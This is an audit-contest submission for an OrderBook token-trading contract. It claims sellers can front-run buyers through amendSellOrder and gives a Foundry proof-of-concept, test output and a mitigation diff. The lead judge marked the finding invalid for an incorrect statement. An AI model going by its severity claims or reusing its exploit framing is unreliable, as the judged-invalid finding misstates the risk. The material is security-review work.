OrderBook

First Flight #43
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Impact: high
Likelihood: high
Invalid

Price Manipulation Exploit

Root + Impact

Description

  • Normal Behavior

    The OrderBook contract is designed to facilitate peer-to-peer trading of ERC20 tokens (wETH, wBTC, wSOL) against USDC through a fixed-price order system. Under normal operation, sellers lock their tokens in the contract and create sell orders with specified prices and deadlines, buyers can purchase these tokens by paying the listed USDC amount, and sellers retain the ability to amend order details (price, amount, deadline) or cancel orders before they are filled or expire.

  • Specific Issue

    The contract contains a critical vulnerability in the amendSellOrder function that allows malicious sellers to front-run buyer transactions by monitoring the mempool and rapidly increasing order prices after buyers have already committed to purchases. This creates an exploitable race condition where victims can be forced to pay significantly inflated prices (demonstrated up to 66% higher) than originally listed, resulting in direct financial theft. Additionally, the contract suffers from state inconsistency issues where expired orders remain marked as "active" in storage, creating confusion for external integrations and users about actual order availability.

function amendSellOrder(
uint256 _orderId,
uint256 _newAmountToSell,
uint256 _newPriceInUSDC, // @> VULNERABILITY: Price can be changed freely
uint256 _newDeadlineDuration
) public {
Order storage order = orders[_orderId];
// Validation checks
if (order.seller == address(0)) revert OrderNotFound();
if (order.seller != msg.sender) revert NotOrderSeller();
if (!order.isActive) revert OrderAlreadyInactive();
if (block.timestamp >= order.deadlineTimestamp) revert OrderExpired();
if (_newAmountToSell == 0) revert InvalidAmount();
if (_newPriceInUSDC == 0) revert InvalidPrice(); // @> ISSUE: Only checks if > 0, no upper bound
if (_newDeadlineDuration == 0 || _newDeadlineDuration > MAX_DEADLINE_DURATION) revert InvalidDeadline();
uint256 newDeadlineTimestamp = block.timestamp + _newDeadlineDuration;
IERC20 token = IERC20(order.tokenToSell);
// Handle token amount changes
if (_newAmountToSell > order.amountToSell) {
uint256 diff = _newAmountToSell - order.amountToSell;
token.safeTransferFrom(msg.sender, address(this), diff);
} else if (_newAmountToSell < order.amountToSell) {
uint256 diff = order.amountToSell - _newAmountToSell;
token.safeTransfer(order.seller, diff);
}
// Update order details
order.amountToSell = _newAmountToSell;
order.priceInUSDC = _newPriceInUSDC; // @> ROOT CAUSE: Price updated without restrictions
order.deadlineTimestamp = newDeadlineTimestamp;
emit OrderAmended(_orderId, _newAmountToSell, _newPriceInUSDC, newDeadlineTimestamp);
}

Risk

Likelihood:

  • Malicious sellers will continuously monitor the mempool for incoming buyOrder transactions targeting their orders, as this information is publicly visible before block inclusion and provides a guaranteed profit opportunity with minimal technical barriers.

  • MEV bots and sophisticated traders already employ mempool monitoring infrastructure for arbitrage opportunities, making the technical setup for exploiting this vulnerability readily available and economically incentivized.

Impact:

  • Direct financial theft from buyers who are forced to pay inflated prices up to their maximum USDC approval amount, with demonstrated losses of 2,000 USDC (66% price increase) per transaction and potential for unlimited exploitation.

  • Complete breakdown of price discovery mechanisms and market trust, as buyers cannot rely on listed prices and may experience failed transactions due to insufficient approvals, leading to protocol abandonment and ecosystem damage.

Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import {Test, console2} from "forge-std/Test.sol";
import {OrderBook} from "../src/OrderBook.sol";
import {MockUSDC} from "./mocks/MockUSDC.sol";
import {MockWBTC} from "./mocks/MockWBTC.sol";
import {MockWETH} from "./mocks/MockWETH.sol";
import {MockWSOL} from "./mocks/MockWSOL.sol";
/**
* @title Price Manipulation Exploit
* @notice Demonstrates how malicious sellers can front-run buyers to inflate prices
* @dev This exploit shows the vulnerability in amendSellOrder function
*/
contract PriceManipulationExploit is Test {
OrderBook book;
MockUSDC usdc;
MockWBTC wbtc;
MockWETH weth;
MockWSOL wsol;
address owner;
address maliciousSeller;
address victimBuyer;
address frontRunner; // Simulates MEV bot
function setUp() public {
owner = makeAddr("protocol_owner");
maliciousSeller = makeAddr("malicious_seller");
victimBuyer = makeAddr("victim_buyer");
frontRunner = makeAddr("front_runner");
// Deploy mock tokens
usdc = new MockUSDC(6);
wbtc = new MockWBTC(8);
weth = new MockWETH(18);
wsol = new MockWSOL(18);
// Deploy OrderBook
vm.prank(owner);
book = new OrderBook(address(weth), address(wbtc), address(wsol), address(usdc), owner);
// Setup initial balances
weth.mint(maliciousSeller, 10e18); // 10 wETH
usdc.mint(victimBuyer, 100_000e6); // 100,000 USDC
usdc.mint(frontRunner, 10_000e6); // 10,000 USDC for front-running
}
/**
* @notice CRITICAL EXPLOIT: Price manipulation through amendSellOrder front-running
* @dev Demonstrates how sellers can inflate prices after buyers commit to purchase
*/
function test_PriceManipulationExploit() public {
console2.log("\n=== CRITICAL PRICE MANIPULATION EXPLOIT ===");
console2.log("Demonstrating front-running vulnerability in amendSellOrder");
// 1. Malicious seller creates order at "fair" market price
vm.startPrank(maliciousSeller);
weth.approve(address(book), 1e18);
uint256 orderId = book.createSellOrder(
address(weth),
1e18, // 1 wETH
3000e6, // 3000 USDC (appears fair)
2 days
);
vm.stopPrank();
console2.log("Step 1: Seller creates order - 1 wETH for 3000 USDC");
console2.log("Order ID:", orderId);
// 2. Victim sees the order and prepares to buy
uint256 victimUSDCBefore = usdc.balanceOf(victimBuyer);
console2.log("Step 2: Victim has", victimUSDCBefore / 1e6, "USDC ready to buy");
// Victim approves USDC for the expected amount + extra for safety
vm.prank(victimBuyer);
usdc.approve(address(book), 5000e6); // Approves 5000 USDC (more than needed)
// 3. ATTACK: Seller monitors mempool and front-runs the buy transaction
// In real scenario, this would be done by detecting pending buyOrder transaction
console2.log("Step 3: ATTACK - Seller front-runs and inflates price!");
vm.startPrank(maliciousSeller);
// Seller increases price by 66% just before victim's transaction executes
book.amendSellOrder(
orderId,
1e18, // Same amount
5000e6, // PRICE INCREASED from 3000 to 5000 USDC!
2 days
);
vm.stopPrank();
console2.log("Price manipulated from 3000 USDC to 5000 USDC (+66%)");
// 4. Victim's buyOrder transaction executes at the inflated price
uint256 sellerUSDCBefore = usdc.balanceOf(maliciousSeller);
vm.startPrank(victimBuyer);
book.buyOrder(orderId); // Victim forced to pay inflated price!
vm.stopPrank();
// 5. Calculate the damage
uint256 victimUSDCAfter = usdc.balanceOf(victimBuyer);
uint256 sellerUSDCAfter = usdc.balanceOf(maliciousSeller);
uint256 protocolFees = book.totalFees();
uint256 victimPaid = victimUSDCBefore - victimUSDCAfter;
uint256 sellerReceived = sellerUSDCAfter - sellerUSDCBefore;
uint256 unfairProfit = victimPaid - 3000e6; // Extra amount due to manipulation
console2.log("\n=== EXPLOIT RESULTS ===");
console2.log("Victim expected to pay: 3000 USDC");
console2.log("Victim actually paid:", victimPaid / 1e6, "USDC");
console2.log("Seller received:", sellerReceived / 1e6, "USDC");
console2.log("Protocol fees:", protocolFees / 1e6, "USDC");
console2.log("Unfair profit from manipulation:", unfairProfit / 1e6, "USDC");
// Verify the exploit worked
assertGt(victimPaid, 3000e6, "Victim should pay more than fair price");
assertEq(victimPaid, 5000e6, "Victim paid the manipulated price");
assertEq(sellerReceived, 4850e6, "Seller received 5000 - 3% fee = 4850");
assertEq(unfairProfit, 2000e6, "Victim lost extra 2000 USDC to manipulation");
console2.log("\n EXPLOIT SUCCESSFUL: Victim lost", unfairProfit / 1e6, "USDC to price manipulation!");
}
/**
* @notice Demonstrates DoS attack through amendment-induced transaction failures
* @dev Shows how sellers can cause buyer transactions to fail, wasting gas
*/
function test_AmendmentDoSAttack() public {
console2.log("\n=== AMENDMENT DOS ATTACK ===");
console2.log("Demonstrating how sellers can cause buyer transaction failures");
// 1. Seller creates order
vm.startPrank(maliciousSeller);
weth.approve(address(book), 1e18);
uint256 orderId = book.createSellOrder(
address(weth),
1e18,
3000e6,
2 days
);
vm.stopPrank();
// 2. Victim approves exact amount needed
vm.prank(victimBuyer);
usdc.approve(address(book), 3000e6); // Exact amount only
// 3. ATTACK: Seller increases price to cause insufficient approval
vm.startPrank(maliciousSeller);
book.amendSellOrder(orderId, 1e18, 4000e6, 2 days); // Price increased
vm.stopPrank();
// 4. Victim's transaction fails due to insufficient approval
vm.startPrank(victimBuyer);
vm.expectRevert(); // Transaction will fail
book.buyOrder(orderId);
vm.stopPrank();
console2.log(" DoS SUCCESSFUL: Buyer transaction failed due to insufficient approval");
console2.log("Victim wasted gas while seller can retry the attack");
}
/**
* @notice Demonstrates market manipulation through rapid price amendments
* @dev Shows how sellers can create artificial volatility
*/
function test_MarketManipulationThroughAmendments() public {
console2.log("\n=== MARKET MANIPULATION THROUGH RAPID AMENDMENTS ===");
vm.startPrank(maliciousSeller);
weth.approve(address(book), 1e18);
uint256 orderId = book.createSellOrder(address(weth), 1e18, 3000e6, 2 days);
// Rapid price changes to manipulate market perception
console2.log("Creating artificial volatility through rapid price amendments:");
book.amendSellOrder(orderId, 1e18, 3500e6, 2 days);
console2.log("Price: 3500 USDC");
book.amendSellOrder(orderId, 1e18, 2800e6, 2 days);
console2.log("Price: 2800 USDC");
book.amendSellOrder(orderId, 1e18, 4200e6, 2 days);
console2.log("Price: 4200 USDC");
book.amendSellOrder(orderId, 1e18, 3100e6, 2 days);
console2.log("Price: 3100 USDC");
vm.stopPrank();
console2.log(" MANIPULATION SUCCESSFUL: Created false volatility signals");
}
}

PoC Result:

forge test --match-contract PriceManipulationExploit --via-ir -vv
[⠰] Compiling...
No files changed, compilation skipped
Ran 3 tests for test/PriceManipulationExploit.t.sol:PriceManipulationExploit
[PASS] test_AmendmentDoSAttack() (gas: 276007)
Logs:
=== AMENDMENT DOS ATTACK ===
Demonstrating how sellers can cause buyer transaction failures
DoS SUCCESSFUL: Buyer transaction failed due to insufficient approval
Victim wasted gas while seller can retry the attack
[PASS] test_MarketManipulationThroughAmendments() (gas: 241853)
Logs:
=== MARKET MANIPULATION THROUGH RAPID AMENDMENTS ===
Creating artificial volatility through rapid price amendments:
Price: 3500 USDC
Price: 2800 USDC
Price: 4200 USDC
Price: 3100 USDC
MANIPULATION SUCCESSFUL: Created false volatility signals
[PASS] test_PriceManipulationExploit() (gas: 329798)
Logs:
=== CRITICAL PRICE MANIPULATION EXPLOIT ===
Demonstrating front-running vulnerability in amendSellOrder
Step 1: Seller creates order - 1 wETH for 3000 USDC
Order ID: 1
Step 2: Victim has 100000000000 USDC ready to buy
Step 3: ATTACK - Seller front-runs and inflates price!
Price manipulated from 3000 USDC to 5000 USDC (+66%)
=== EXPLOIT RESULTS ===
Victim expected to pay: 3000 USDC
Victim actually paid: 5000 USDC
Seller received: 4850 USDC
Protocol fees: 150 USDC
Unfair profit from manipulation: 2000 USDC
EXPLOIT SUCCESSFUL: Victim lost 2000 USDC to price manipulation!
Suite result: ok. 3 passed; 0 failed; 0 skipped; finished in 1.30ms (556.44µs CPU time)
Ran 1 test suite in 5.67ms (1.30ms CPU time): 3 tests passed, 0 failed, 0 skipped (3 total tests)

Recommended Mitigation

This mitigation implements a price commitment mechanism that separates price changes from other order amendments. By removing the ability to modify prices in amendSellOrder and introducing a dedicated commitOrderPrice function with a one-time-use flag, sellers can no longer front-run buyers with price increases.

- function amendSellOrder(
- uint256 _orderId,
- uint256 _newAmountToSell,
- uint256 _newPriceInUSDC, // Remove price parameter
- uint256 _newDeadlineDuration
- ) public {
- // ... existing validation ...
-
- // Update order details
- order.amountToSell = _newAmountToSell;
- order.priceInUSDC = _newPriceInUSDC; // Remove price modification
- order.deadlineTimestamp = newDeadlineTimestamp;
- }
+ function amendSellOrder(
+ uint256 _orderId,
+ uint256 _newAmountToSell,
+ uint256 _newDeadlineDuration
+ ) public {
+ // ... existing validation ...
+
+ // Update order details - price cannot be changed
+ order.amountToSell = _newAmountToSell;
+ order.deadlineTimestamp = newDeadlineTimestamp;
+ }
+
+ // Add separate price commitment function with one-time use
+ function commitOrderPrice(uint256 _orderId, uint256 _newPriceInUSDC) public {
+ Order storage order = orders[_orderId];
+ if (order.priceCommitted) revert PriceAlreadyCommitted();
+ if (order.seller != msg.sender) revert NotOrderSeller();
+
+ order.priceInUSDC = _newPriceInUSDC;
+ order.priceCommitted = true; // Lock price permanently
+ }
+ // Add price commitment flag to Order struct
+ struct Order {
+ uint256 id;
+ address seller;
+ address tokenToSell;
+ uint256 amountToSell;
+ uint256 priceInUSDC;
+ uint256 deadlineTimestamp;
+ bool isActive;
+ bool priceCommitted; // New field to prevent price changes
+ }
Updates

Lead Judging Commences

yeahchibyke Lead Judge
about 1 month ago
yeahchibyke Lead Judge about 1 month ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.